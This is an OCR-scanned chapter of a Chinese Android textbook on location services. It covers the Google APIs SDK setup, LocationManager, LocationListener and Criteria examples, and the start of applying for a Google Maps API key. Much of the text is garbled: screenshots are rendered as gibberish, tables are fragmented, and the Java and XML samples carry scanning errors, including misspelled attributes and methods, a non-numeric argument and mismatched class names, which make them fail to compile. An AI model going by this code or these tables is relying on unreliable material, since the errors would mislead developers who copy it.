在 之 前 所 有 的 项 目 中 , 由 于 用 户 只 是 使 用 基本 的 Android 系统 功能 ,所 以 使 用 普通 的 Android 
SDK 即 可 开发 。 而 如 果 要 进行 GPS 的 程序 开发 ， 则 必须 配置 新 的 Android SDK 一 一 Google APIs 
SDK， 在 此 SDK 中 自动 支持 了 Google 地 图 。 配 置 Google APIs SDK 的 步骤 如 下 。 

(1) 要 想 正 确 地 使 用 定位 服务 ， 则 必须 要 创建 带 有 Google APIs 的 项 目 ， 那 么 首先 需要 下 
载 Android API 10。 运 行 android-sdk-windows 目录 中 的 SDK Manager.exe 命令 ， 进 入 如 图 13-1 
所 示 的 界面 ， 并 选择 要 下 载 的 SDK。 


二 id + Google NTs, MT 40, sevisim 2 
ys SDK fatform Aniroid AFI "10 


Mdd Add-on Site .| Teists M33-0n Site | Display updat Refresh| Install Selected 


图 13-1 Google APIs 10 下 载 界面 


(2) 选择 好 要 下 载 的 SDK 之 后 ， 进 入 如 图 13-2 所 示 的 界面 ， 选 择 接受 协议 。 


(3) 选择 安装 之 后 将 进入 如 图 13-3 所 示 的 下 载 界面 。 下 载 完 成 之 后 会 出 现 如 图 13-4 所 示 
的 提示 界面 ， 单 击 Yes 按钮 。 


Packase Dascriptian A License 


Fackske Description 
oid + Google MIs, API 10，revision 2 局 
Bequires SDE Hatforn Android API 10 


请 = 1 he hedroid seftvee Developnent Kit License hereenent, 
1 TIntroduetien 
1.1 The hadroid Seftware Developnent Kit Geferred to in this 
Licenss Acreeaent as the “SIK” and spesifically includine the 
Niosd srste Hiles. peckared NIs” md Gyoalt 好 Is aatrorsy | 
Gheeept F Reject 


Theeep! A 


国 Sonething depends on Lais peckree EE 


图 13-2 接收 Google APIs 10 的 下 载 声 明 


加 
Downloading Google AFIs by Google Ine., Android API 10, revision 2 (91¢ 
EE 

ownlosding Google AFIs by Gooele Ine, Android AFT 10, revision 2 | 


A package that depends on ADB has been updated 
Do you want to restart ADB now? 


[el 


图 13-3 下 载 Google APIs SDK 图 13-4 提示 是 否 重新 启动 ADB 


(4) 下 载 完 新 的 SDK 之 后 ， 需 要 重新 创建 一 个 支持 Google APIs 10 的 模拟 器 ,打开 Android 
SDK and AVD Manager 界面 后 建立 一 个 新 的 Android 模拟 器 一 一 Android_GPS， 如 图 13-5 所 示 。 
(5) 单 击 Create AVD 按钮 ， 进 入 如 图 13-6 所 示 的 界面 ， 配 置 完成 。 


配置 完 新 的 Android 模拟 器 之 后 , 就 可 以 直接 启动 该 模拟 器 , 此 时 可 发 现 Google Maps 程序 ， 
如 图 13-7 所 示 。 


E Android Virtual Device (CAYO) x 
We os 
Treat oode Ar Gorge Ine ) -ANILavil10 可 
cevar: PET ene 可 
SD cord: 
msepz mm 
cae: TT growse 
Snapshot: 
厂 Enabled 
Skin 
C Builtrin:。 [ES Menaooy 
eumaaua EL 了 - 六 Android SOE snd AYD Wenager 
Ure List of existing Android Wirtaal Devices located at C:\Users\hdninistrator\ sndroid\uvd 
a nstalled packages 
[wsilahle packsges Mm ie Teet Woe latforn | AFT Level CPUAET Wer 
Property Yalue Ee. YAndroid 2 3 Android 2.3.3 2.3.3 “10 AB (arneabi) 
etreeted 1CD tensity | 1 的 dr oo00le AFTs (6o00 .5.3m Orme A nesbi) | 
Hae Wh application h .24 EE 
Device ran sire 258 


Details 
FOvarride (he eetine AW Witk te sme ree 


Start 


Befresh 


TT RARNE 
[el 


X hn Android yirtaal Device that failed to losd Click ’Detsils’ to see the error. 


图 13-5 创建 新 的 AVD 图 13-6 建立 完 Android 模拟 器 
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当 一 切 准 备 工作 完成 之 后 , 就 可 以 创建 一 个 新 的 支持 Google 服务 的 Android 项 目 一 一 GPSProject， 
但 是 在 创建 时 ， 需 要 选择 新 创建 的 Android 模拟 器 ， 如 图 13-8 所 示 。 
ol 


New Android Project 
Creates a ne Android Project resource ) 


Boject sme frsrrojeet 


O5554: Android OPS 


Contents 

Crente ner project in workspace 
Create project fron existing source 
(SVse defoult location 


C Create project Eron existing seple 


Smples: | 


Build Target 


Treet Nne Tan 
口 aireit233 AniroidOpen Source Projeet 233 10 
蝇 ceoae APTs osgle Ine 


Android + Google AFIs 


% Google Maps roperties 


一 Applieatien ne: 古人 Es 


Packace ne Fei ee 


FS Crente Aetivity. oars 
Min snk Version; [10 


3 ca | ey Casa eon | 


图 13-7 支持 Google 地 图 服务 的 Android 模拟 器 图 13-8 创建 支持 Google APIs 的 Android 项 目 


该 项 目 建立 完成 之 后 ， 可 以 在 项 目 工作 区 中 发 现存 在 有 Google APIs 支持 的 信息 ,如 图 13-9 
所 示 。 


白人 大 GPsProject 
-Bsrc 
DB sen 
1 = EE 
assets 


HC res 

Andr oi Manifest. xml 

| default. properties 
proguard. cfg 


图 13-9 ”项目 中 存在 Google APIs 支持 


13.2 ”位置 管理 器 : LocationManager 


对 于 手机 定位 而 言 ， 最 重要 的 就 是 定位 的 功能 ， 只 有 明确 了 位 置 ( 经 度 和 纬度 ) 信息 之 后 ， 
才 可 以 根据 坐标 在 地 图 上 标记 出 所 在 的 位 置 。 而 在 Android 系统 中 , 用 户 可 以 使 用 android .location. 
LocationManager 类 来 获取 当前 的 位 置信 息 或 卫星 信息 , 但 是 如 果 用 户 要 想 获 得 LocationManager 
类 的 对 象 ， 则 必须 依靠 Android 给 定 的 系统 服务 一 一 LOCATION_SERVICE 来 完成 。 当 使 用 
getSystemService() 方 法 根据 指定 的 名 称 取得 服务 之 后 ， 就 可 以 得 到 一 个 LocationManager 类 的 对 
象 ， 然 后 可 以 利用 表 13-1 所 示 的 方法 进行 操作 。 


640 


第 13 章 定位 服务 


表 13-1 LocationManager 类 的 常用 方法 


public static final String GPS PROVIDER 
bi boolean addGpsStatusListener(GpsStatus. 


public List<String> getAllProviders( 


public String getBestProvider(Criteria criteria, boolean 普通 
enabledOnl 


public LocationProvider getProvider(String name) 取得 一 个 指定 的 提供 者 信息 


ee getProviders(Criteria criteria, 取得 所 有 符合 筛选 条 件 的 提供 者 信息 
public boolean isProviderEnabled(String provider) fi 判断 某 一 个 提供 者 是 否 可 用 


public void removeGpsStatusListener 删除 一 个 GPS 提供 者 信息 


psStatus.Listener listener 
public void requestLocationUpdates(long minTime, 
float minDistance, Criteria criteria, PendingIntent 普 当 请 求 位 置 发 生 改 变 时 监听 


public void requestLocationUpdates(long minTime, 

float minDistance, Criteria criteria, LocationListener| 当 请 求 位 置 发 生 改变 时 监听 
listener, Looper looper) 

public void requestLocationUpdates(String provider, 

long minTime, float minDistance, LocationListener | 。 普 i 当 请 求 位 置 发 生 改 变 时 监听 
listener 


在 表 13-1 中 ， 使 用 的 主要 方法 是 requestLocationUpdates()， 此 方法 中 几 个 主要 参数 的 作用 
如 下 。 

回 String provider: 为 GPS 服务 的 提供 者 ， 主 要 功能 是 定期 报告 移动 设备 所 在 的 地 理 位 置 
数据 ， 而 该 提供 者 可 以 通过 LocationManager 类 的 GPS_ PROVIDER 常量 指定 ， 如 果 用 户 
希望 使 用 网 络 定 位 , 则 可 以 使 用 LocationManager 类 的 NETWORK PROVIDER 常量 指定 。 

long minTime: 每 次 更 新 的 最 小 时 间 间 隔 ， 单 位 为 点 秒 。 

回 float minDistance: 每 次 更 新 的 最 小 距离 间隔 ， 单 位 为 米 。 

LocationListener listener: 每 次 位 置 改变 时 所 提供 的 监听 器 对 象 。 

通过 以 上 讲解 可 以 发 现 ， 该 操作 最 重要 的 一 个 功能 就 是 对 位 置 的 监听 操作 ， 因 为 当 用 户 的 移 

动 设备 移动 时 , 必须 要 对 位 置 不 断 地 进行 追踪 , 而 这 一 功能 必须 依靠 android.location .LocationListener 
接口 完成 ， 此 监听 接口 的 定义 如 下 : 

public interface LocationListener { // 位 置 状 态 监听 接口 

J 
* 设备 位 置 发 生 改 变 时 触发 
* @param location 接收 用 户 位 置信 息 
public abstract void onLocationChanged (Location location) ; 
J 
* 当 数 据 提供 者 关闭 时 触发 
* @param provider 数据 提供 者 名 称 
ih 
public abstract void onProviderDisabled (String provider) ; 
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ie 
* 当 数 据 提供 者 启用 时 触发 
* @param provider 数据 提供 者 名 称 
中 
public abstract void onProviderEnabled (String provider) ; 
J 
* 当 位 置信 息 状 态 更 新 时 触发 
* @param provider 数据 提供 者 名 称 
* @param status 操作 状态 
* @param extras 附加 信息 
人 


public abstract void onStatusChanged (String provider, int status, Bundle extras) ; 


小 


在 LocationListener 监听 接口 中 ， 最 重要 的 是 onLocationChanged() 方 法 ， 使 用 此 方法 可 以 及 时 通 
过 android.location.Location 类 取得 用 户 位 置 更 改 后 的 数据 , 而 Location 类 的 常用 方法 如 表 13-2 所 示 。 


表 13-2 Location 类 的 常用 方法 


No. 方 法 
1 public float getAccuracyO 
4 public float getBearingO) 
3 public Bundle getExtrasO) 
4 public double getLongitudeO 
5 public double getLatitudeO) | 普通 | 
6 public String getProvider| 
A public float getSpeed! 
8 public long getTime! 普通 


描述 


取得 精 
取得 方 
取得 所 
取得 位 
取得 位 
取得 数 
取得 速 
取得 时 


确 度 

位 

有 附加 的 信息 
置 经 度 

置 纬度 

据 提供 者 名 称 
间 


了 解 了 以 上 基本 概念 以 及 各 个 操作 类 的 功能 之 后 ， 下 面 就 可 以 开发 一 个 简单 的 定位 系统 ， 
在 本 程序 中 将 依靠 LocationManager 取得 用 户 所 在 位 置 的 经 度 和 纬度 信息 。 


【 例 13-1】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 


xmlins:android="http:/schemas.android.com/apKk/res/android" 


android:orientation="vertica/” /所 有 组 件 垂 直 摆 放 


android:layout_width="fill_parent”" 
android:layout_height="fill_parent"> 


// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 


<TextView // 文 本 显示 组 件 
android:id="@+id/msg” 1/ 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text=" 和 侍从 大 必 位 讲稿 息 .…." /> // 默 认 显示 文字 

</LinearLayout> 


在 本 布局 管理 器 中 定义 了 一 个 TextView 组 件 ， 而 此 组 件 的 主要 功能 是 


经 度 与 纬度 信息 。 
【 例 13-2】 定义 Activity 程序 ， 对 位 置 进行 监听 
package org.lxh.demo; 
import android.app.Activity; 
import android.content.Context; 
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用 于 显示 当前 多 


标的 


import android.location.Location; 

import android.location.LocationListener; 
import android.location.LocationManager'; 
import android.os.Bundle; 

import android.widget. TextView; 

public class MyGPSDemo extends Activity { 


private TextView msg = null; // 显 示 坐 标 信息 
private LocationManager locationManager = null; /位置 管 理 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 默 认 布局 管理 器 


this.locationManager = (LocationManager) super 
.getSystemService(Context.LOCATION_SERVICE); 


// 取 得 位 置 服务 


this.msg = (TextView) super.findViewByld(R.id.msg); 。“// 获 得 组 件 


this.locationManager.requestLocationUpdates( 


LocationManager.GPS_PROVIDER, /GPS 定位 提供 者 
1000， /时间 间隔 设置 为 1 秒 
由 /位 置 间隔 设置 为 1 米 
new LocationListenerlmpl()); /设置 位 置 监听 
} 
private class LocationListenerlImpl implements LocationListener { 
@Override 
public void onLocationChanged(Location location) { // 设 备 位 置 发 生 改变 时 触发 
MyGPSDemo.this.msg.setText(" 用 户 位 置 发 生 改变 ， 新 的 位 置 数据 : \n" 
+ "经 度 : "+ location.getLongitude() + \n" 
+ "纬度 : " + location.getLatitude() + "\n" 
+ "数据 精确 度 : " + location.getAccuracy() + "\n" 
+ "时 间 : "+ location.getTime() + "\n" 
+ "速度 : " + location.getSpeed() + "\n" 
+ "方位 : "+ location.getBearing()) ; // 设 置 文本 信息 
} 
@Override 
public void onProviderDisabled(String provider) { // 当 数据 提供 者 关闭 时 触发 
} 
@Override 
public void onProviderEnabled(String provider) { // 当 数据 提供 者 启用 时 触发 
} 
@Override 
public void onStatusChanged(String provider, 
int status, Bundle extras) { // 当 位 置信 息 状 态 更 新 时 触发 
’ 
} 


} 


本 程序 为 位 置 监听 服务 的 操作 ,首先 使 用 getSystemService() 方 法 取得 一 个 定位 的 服务 信息 ， 


而 后 使 用 requestLocationUpdates() 方 法 对 位 置信 息 的 改变 进行 监听 , 当 上 


户 接收 到 新 的 位 置 之 后 


会 触发 onLocationChanged0 操 作 ， 并 在 文本 框 中 显示 所 接收 到 的 经 度 与 纬度 信息 。 


【 例 13-3】 修改 AndroidManifestxml 文件 ， 增 加 权限 


<Uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> 
<uses-permission android:name="android.permission.ACCESS_COARSE LOCATON /> 
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在 本 程序 中 配置 了 两 个 定位 的 操作 权限 ， 其 作用 如 下 。 

回 ACCESS FINE LOCATION 〈 取 得 精确 的 位 置信 息 ) : 允许 使 用 GPS 进行 精确 定位 ， 
对 应 GPS_ PROVIDER 常量 的 操作 。 

回 ACCESS COARSE LOCATION (取得 粗略 的 位 置信 息 ) : 采用 网 络 基站 (WiFi) 进行 
定位 ， 对 应 NETWORK PROVIDER 常量 的 操作 。 


提示 
还 有 一 种 为 测试 模式 。 
在 配置 定位 服务 权限 时 ， 还 有 一 种 ACCESS MOCK LOCATION 权限 ， 此 权限 主要 是 
在 程序 测试 时 使 用 ， 而 如 果 用 户 需要 配制 ， 则 直接 增加 如 下 代码 即 可 : 


<Uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION"/> 
由 于 不 使 用 此 权限 模拟 器 依然 可 以 运行 ， 所 以 本 书 没有 采用 此 权限 操作 。 


权限 配置 完成 后 就 可 以 启动 专门 的 Android 模拟 器 进行 运行 ， 程 序 的 默认 打开 界面 如 图 13-10 
所 示 。 接 收 GPS 信息 之 后 的 界面 如 图 13-11 所 示 。 


EECTTE SS =| 中 jx| EECTTES =| 吕 | x| 
邯 明 十 2:33 全 基 明生 2:37 


图 13-10 等待 接收 位 置信 息 图 13-11 接收 位 置信 息 


提问 : 模拟 器 没有 GPS 模块 ， 怎 么 运行 项 目 ? 

如 果 要 运行 GPS 的 信息 接收 程序 ， 则 需要 专门 的 GPS 模块 ， 但 是 模拟 器 并 不 是 真 机 ， 
并 没有 提供 此 类 模块 ， 那 么 项 目 该 如 何 运行 呢 ? 

回答 : 可 以 使 用 手工 位 置 发 送 。 

在 Android 系统 中 考虑 到 了 用 户 开发 GPS 项 目的 所 以 直接 在 模拟 器 中 提供 了 一 个 
手工 发 送 位 置信 息 (发 送 经 度 和 纬度 信息 ) 的 功能 ， 用 户 只 需要 打开 Emulator Control 视图 
找到 Location Controls， 如 图 13-12 所 示 。 

Wanual |cpx | mL | 


人 Decinal 
三 Sexagesinal 


Longitude 厂 123.666 
Latitude [37. 322006 


EE 要 
图 13-12 手工 发 送 位 置信 息 


当 用 户 填写 好 相应 的 经 度 与 纬度 信息 并 发 送 后 ， 就 可 以 出 现 如 图 13-11 所 示 的 界面 。 田 
外 ， 在 该 模拟 器 的 控制 视图 中 ,也 可 以 模拟 拨打 电话 、 发 送 短信 等 功能 , 读者 可 以 自行 实验 。 
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本 程序 完成 了 一 个 简单 的 位 置 接收 操作 ， 但 是 位 置 的 经 度 与 纬度 信息 较 抽象 ， 如 果 能 将 这 
些 数据 转化 为 地 图 上 的 坐标 点 ， 则 会 更 加 直观 ， 此 功能 将 在 随后 讲解 Google Map 时 实现 。 


13.3 ”取得 最 佳 的 LocationProvider 


前 面 讲解 过 ，LocationProvider 的 主要 功能 是 提供 一 个 定位 服务 的 地 理 信息 数据 的 数据 提供 
商 ， 每 一 个 数据 提供 商都 会 提供 一 套 操 作 的 准则 ， 以 告知 用 户 可 以 使 用 的 情况 ， 例 如 ， 某 些 用 
户 需 要 通过 GPS 硬件 设备 取得 数据 ， 而 有 些 用 户 则 可 能 要 求 使 用 WiFi, 或 通过 互联 网 取得 位 置 
数据 当然, 每 种 LocationProvider 的 操作 都 对 应 着 不 同 的 电量 消耗 等 级 ， 而 对 于 移动 设备 而 言 ， 
应 优先 选择 最 节约 电量 的 LocationProvider 进行 操作 ， 而 这 就 需要 通过 一 系列 的 判定 条 件 来 对 所 
有 可 用 的 LocationProvider 进行 筛选 。 

要 想 取 得 最 佳 的 LocationProvider, 则 首先 需要 知道 有 多 少 个 LocationProvider 可 供用 户 选 择 ， 
而 在 LocationManager 类 中 专门 提供 了 一 个 getAllProviders() 方 法 实现 此 功能 , 下面 先 通过 程序 显 
示 所 有 可 用 的 LocationProvider。 

【 例 13-4】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/” // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ListView /定义 ListView 组 件 

android:id="@+id/alldata” // 组 件 ID， 程 序 中 使 用 

android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 

android:layout_height="wrap_content"/> // 组 件 高 度 为 内 容 高 度 
</LinearLayout> 


【 例 13-5】 定义 Activity 程序 ， 在 ListView 组 件 上 显示 所 有 的 LocationProvider 信息 
package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util. Iterator; 
import java.util.List; 
import android.app.Activity; 
import android.content.Context; 
import android.location.LocationManager; 
import android.os.Bundle; 
import android.widget.ArrayAdapter; 
import android.widget.ListAdapter; 
import android.widget.ListView; 
public class MyGPSDemo extends Activity { 


private ListView alldata = null; /ListView 组 件 
private LocationManager locationManager = null; /位 置 管理 
private ListAdapter adapter = null; // 适 配器 组 件 
private List<String> allProviders = null; /保存 信息 
@Override 
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本 程序 主要 利用 LocationManager 类 中 的 
getAllProviders() 方 法 取得 所 有 的 LocationProvider 
信息 , 而 后 将 这 些 信息 设置 到 ListView 组 件 中 进行 
显示 ， 程 序 的 运行 效果 如 图 13-13 所 示 。 

现在 已 经 取得 了 所 有 可 用 的 LocationProvider 信 passive 
息 , 那么 如 何 从 这 些 LocationProvider 中 取得 一 个 最 
佳 的 LocationProvider 供 用 户 使 用 呢 ? 这 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.locationManager = (LocationManager) super 


// 默 认 布 局 管理 器 


.getSystemService(Context.LOCATION_SERVICE); // 取 得 位 置 服务 


this.alldata = (ListView) super.findViewByld(R.id.alldata); 


this .listProviders() ; 


) 
public void listProviders() { 


// 获 得 组 件 
// 列 出 数据 


this.allProviders = this locationManager.getAllProviders() ; /取得 所 有 Provider 


this.adapter = new ArrayAdapter<String>(this, 
android.R.layout.simple_list_item_1, 
MyGPSDemo.this.allProviders); 

this.alldata.setAdapter(MyGPSDemo.this.adapter); 


} 


network 


就 需要 依靠 gps 


/实例 化 ArrayAdapter 
/定义 布局 文件 

/定义 显示 数据 

/设置 数据 


android.location.Criteria 类 进行 条 件 的 过 滤 ，Criteria 图 13-13 ”显示 所 有 的 LocationProvider 信息 


类 中 定义 的 常量 及 常用 方法 如 表 13-3 所 示 。 


表 13-3 Criteria 类 定义 的 常量 及 方法 


No. 量 及 方法 描述 

1 |public static final int ACCURACY COARSE 粗略 〈 网 络 、WiFi) 精度 
2 “|public static final int ACCURACY FINE 准确 精度 

3 |public static final int ACCURACY HIGH 高 精度 

4 |public static final int ACCURACY MEDIUM 用 中 等 精度 

5 public static final int ACCURACY LOW 低 精 度 

6 高 耗 电量 

7__ |public static final int POWER MEDIUM bh 等 耗 电量 

8 __ |public static final int POWER LOW 低 耗 电量 

9 |public Criteria0 创建 一 个 Criteria 对 象 

10 |public int getAccuracyO 区 得 当前 设置 的 精度 条 件 

11 |public int getBearingAccuracyO 取得 当前 设置 的 方位 条 件 

12 ED 精度 条 件 
13 |public int setPowerRequirementO 消耗 级 别 
14 |public int getSpeedAccuracy0 加 当前 设 轩 有 精度 条 件 
15 |public int getVerticalAccuracyO) 得 当前 设置 的 垂直 精度 条 件 
16 |public boolean isAltitudeRequired0 Se 是 否 提供 高 度 信息 

17 |public boolean isBearingRequired0 判断 是 否 提供 方位 信息 
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常量 及 方法 区 描述 

public boolean isCostAllowedO 普 j 判断 是 否 产生 流量 费 放 
public boolean isSpeedRequired() 普 j 判断 是 否 有 速度 信息 
public void setAccuracy(int accuracy) 普 j 设置 查找 精度 

i 设置 是 否 需要 高 度 信 息 

e 设置 是 否 需 要 方位 信息 

public void setCostAllowed(boolean costAllowed) 普 设置 是 否 允 许 产 生 流量 费 
public void setHorizontalAccuracy(int accuracy) 普 j 设置 水 平 精度 等 级 
public void setVerticalAccuracy(int accuracy) 普 i 设置 科 直 精度 等 级 
public void setPowerRequirement(int level) 普 j 设置 电量 的 消耗 级 别 
public void setSpeedAccuracy(int accuracy) 普 j 设置 速度 的 精度 等 级 


通过 表 13-3 可 以 发 现 ，Criteria 类 就 是 使 用 一 系列 的 过 滤 条 件 对 所 有 的 Provider 进行 过 滤 ， 
最 终 取 得 一 个 满足 用 户 操 作 条 件 的 Provider， 而 当 所 有 的 过 滤 条 件 都 设置 完成 之 后 ， 就 可 以 直接 
利用 LocationManager 类 中 的 getBestProvider() 方 法 取得 一 个 满足 条 件 的 LocationProvider 信息 。 
下 面 通过 具体 程序 进行 说 明 ， 在 本 程序 中 直接 将 过 滤 后 的 结果 显示 在 一 个 文本 显示 组 件 中 。 
【 例 13-6】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/” // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 

android:id="@+id/fineprovider”" // 组 件 ID， 程 序 中 使 用 

android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 

android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 


【 例 13-7】 定义 Activity 程序 取得 最 佳 的 LocationProvider 信息 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content.Context; 
import android.location.Criteria; 
import android.location.LocationManager; 
import android.os.Bundle; 
import android.widget. TextView; 
public class MyGPSDemo extends Activity { 


private TextView fineprovider = null; JWTextView 组 件 
private LocationManager locationManager = null; // 位 置 管理 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 默 认 布 局 管理 器 
this.locationManager = (LocationManager) super 
.getSystemService(Context.LOCATION_SERVICE); // 取 得 位 置 服务 
this .fineprovider = (TextView) super .findViewByld(R.id.fineproviden); // 获 得 组 件 
Criteria criteria = new Criteria() ; /设置 过 滤 条 件 
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criteria.setAccuracy(Criteria. ACCURACY _FINE) ; /使 用 最 准确 精度 
criteria.setCostAllowed(false) ; /不 产生 费用 
criteria.setPowerRequirement(Criteria.POWER LOW ; // 耗 电量 最 低 


String provider = this.locationManager 
.getBestProvider(criteria, true); // 返 回 可 用 的 最 佳 LocationProvider 
this .fineprovider.setText(" 最 佳 Provider 名 称 : "+ provider) ; /设置 文字 
} 
【 例 13-8】 修改 AndroidManifest.xml 文件 ， 增 加 权限 
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> 
<uses-permission android:name="android.permission.ACCESS_COARSE LOCATION"/> 
本 程序 主要 使 用 Criteria 类 定义 了 一 系列 的 过 滤 条 件 ， 而 后 直接 利用 LocationManager 类 中 
的 getBestProvider() 方 法 根据 已 设置 的 条 件 取得 一 个 最 佳 的 LocationProvider 信息 , 程序 的 运行 效 
果 如 图 13-14 所 示 。 


CEEEgrzrzrzaa -cx 


图 13-14 最 佳 的 LocationProvider 


而 当 本 程序 完成 之 后 ,用 户 就 可 以 直接 将 此 LocationProvider 名 称 设置 在 requestLocationUpdates() 
方法 中 使 用 ， 这 一 点 读者 可 以 结合 LocationManager 的 监听 程序 自行 完成 。 


13.4 申请 Google Map 服务 


现在 可 以 取得 定位 信息 了 , 但 是 该 定位 信息 只 有 在 地 图 上 标记 出 才 有 意义 。 在 Android 系统 
中 ， 专 门 为 用 户 提供 了 Google Map 服务 ， 用 户 可 以 直接 利用 Google Map 提供 的 数据 在 地 图 上 
标 出 给 出 的 位 置 ， 但 是 要 想 使 用 Google Map， 则 必须 对 程序 进行 签名 。 

实际 上 , 在 开发 人 员 开发 Android 项 目 时 都 会 存在 一 个 keystore 文件 , 所 以 开发 的 程序 才 可 
以 自动 地 生成 APK 开发 包 并 在 模拟 器 或 手机 上 和 运行， 默认 的 keystore 文件 的 保存 路 径 为 
C:\Documents and Settings\Administrator\.android\debug.keystore。 

而 用 户 也 可 以 直接 通过 Eclipse 首选 项 中 的 Android\Build 查看 keystore 文件 的 路 径 ， 如 图 13-15 
所 示 。 


图 13-15 ”debug.keystore 存储 路 径 


648 


四 
示 
Windows 7 系统 中 的 keystore 目录 。 : 
在 Windows 7 操作 系统 中 ,keystore 文件 的 存储 目录 为 C:\Users\Administrator\.android\debug. 
Keystore, 
另外 ， 如 果 用 户 已 使 用 Android 开发 一 年 以 上 ，keystore 文件 将 失效 ， 而 带 来 的 问题 是 : 
模拟 器 无 法 自动 地 生成 *.apk 文件 ， 此 时 的 解决 方案 是 将 此 文件 删除 ,而 后 重新 启动 Eclipse， 
则 将 自动 生成 一 个 新 的 keystore 文件 。 | 


确定 了 keystore 文件 的 路 径 之 后 ， 下 面 就 可 以 按照 如 下 步骤 进行 Google Map 服务 的 申请 。 

(1) 如 果 没 有 Google 通行 证 ， 则 需要 登录 Google 网 站 ,注册 一 个 Google 通行 证 ， 注 册 地 
址 为 : https://accounts.google.com/ServiceLoginAuth。 

在 打开 的 如 图 13-16 所 示 的 界面 中 ， 输 入 要 注册 的 用 户 名 和 密码 (本 次 注册 的 名 称 为 
mldnqa@sina.com) ， 注 册 完 成 之 后 的 页 面 如 图 13-17 所 示 。 


TO ee ee EN err 
这 中 节 夫 orle Accomts 和 险 : 加 -了 两 ”四 和 昌 ，I 上 OD 各. ” 


Sign up for a new Google Account 


Android Market 

Distribute your applications to users of Android mobile phones. Signin 
Android Market enables developats to aasily publish and distnbute thalr Email 
appicalions dfectly to users of Android-compatibie phones, 


、 Possword 
Ameroid Markot is opon to al Android application dovolopors 
Dnee rsgistared developers have complete certml over whan 
and how they make thelr applcations avallable io usats. 可 
E23 三 厂 三 三 阿 识 wet 全 本 式 大 用 [EE 


图 13-16 注册 Google 账户 界面 


[Es ccounts = 上 对 
GO et par EB Nee meno 5 
EE CPE 剧 [ 六- 曙 - 了 本 - 而- 安 人 -IO- 各 -” 


mldnqa@sina.com| Googls Home | My Account | Sign ot i 
Google accounts 
Account Creation Confirmation 


Welcome to Googl Accounts! Your account usemame s midnqa@sina.com. In orcer 10 verty that he emal acdress asscciated with your 
account is comect weve sent an emai to midnqo@sina.com Please mahe sure you cick the fnk prorded in the email 


Cant fnd our email in your inbox? Laam more 
Heres what you can do with a Google Account 
» Access fee Google products, including iGocge, Picasa Wb Albums, Bloggar, orkut Google Groups, and so much more 


一 
EF | | | | 同 ™mesw [保护 或 划 用 [i ， 二 


图 13-17 注册 成 功 之 后 的 页 面 


(2) 打开 命令 行 方式 ， 将 路 径 设置 为 debug keystore 文件 所 在 的 文件 夹 ， 并 生成 指纹 编码 ， 
操作 如 下 。 
Q 输入 路 径 命令 : 
Cd Ci\Users\Administrator\.android 
@ 生成 MD5 指纹 编码 : 
keytool -list -alias androiddebugkey -keystore debug.keystore -storepass android -keypass android 
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执行 完 以 上 两 步 之 后 , 会 生成 一 个 MD5 认证 指纹 信息 (5A:86:29:E5:64:ED:93:C9:B5:E4:E2: 
0E:4D:45:A3:21) ， 如 图 13-18 所 示 ， 而 此 指纹 信息 就 是 以 后 申请 Google Map 服务 时 所 需要 的 
认证 数据 。 


克 管 理 员 : C: Mindovs\systen32\cnd 鹿 


roid 


androiddebugkey -keystore dd 


图 13-18 ”生成 MD5 指纹 编码 


(3) 获得 MD5 认证 指纹 后 , 下面 需要 打开 浏览 器 ， 登 录 Google Map API Key 的 生成 页 面 ， 
此 页 面 的 网 址 为 ，http://code.google.com/android/maps-api-signup.html。 而 后 在 指定 的 位 置 上 输入 
之 前 生成 的 MD5 认证 指纹 信息 ， 如 图 13-19 所 示 。 
Sign Up for the Android Maps API 


The Androd Maps API lats you embed Google Maps in your own Android applications A single Maps AP| key is vaid for all applications sioned by a single certficate Ses this Jocumentation pane 
for more irformation abcut applcation signing. To gat a Maps AP key for your cerificate, you will need to provide its the certifcate's ingrpint. This can be obtained using Keytool, For example, on 
Linux or Mac OSX, you would examine your debug keystore ke this 


$ heeytool -Li srdr oi d/ debug. haystors 


If you use dilferent keys for signing development bulds and release builds, you wil need to obtan a separate Maps API key fol each certficate Each key wil only work in applications signed by 
the comesponding certificate 


You also need a Google Account io get a Maps AP key. and your API key wil be connected to your Google Account 


classes) that allov you to include naps, 
Erom Google and its content providers in 
The Android Naps APIs explicitly do net includs any driving directions 
ata or lacal ooarch data that nay bo owned or liconeed by Cooglo. 


oo and orher content 本 
mr Android applications. ” 到 


e B ,Nountain 
legal 3greenent 1s 


ereed in writing with Gocele, the Terns 9 
D) the terms and conditions set forth in 


lhave read and agree with the terms and conditions (printable version) 


My certificates MD5 fingerprint: [5A 86-29.ES €4 ED.93.C9.65 E4.E2.0E 4D.45.A3-21 
Generale APIKey 


图 13-19 输入 MD5 认证 指纹 


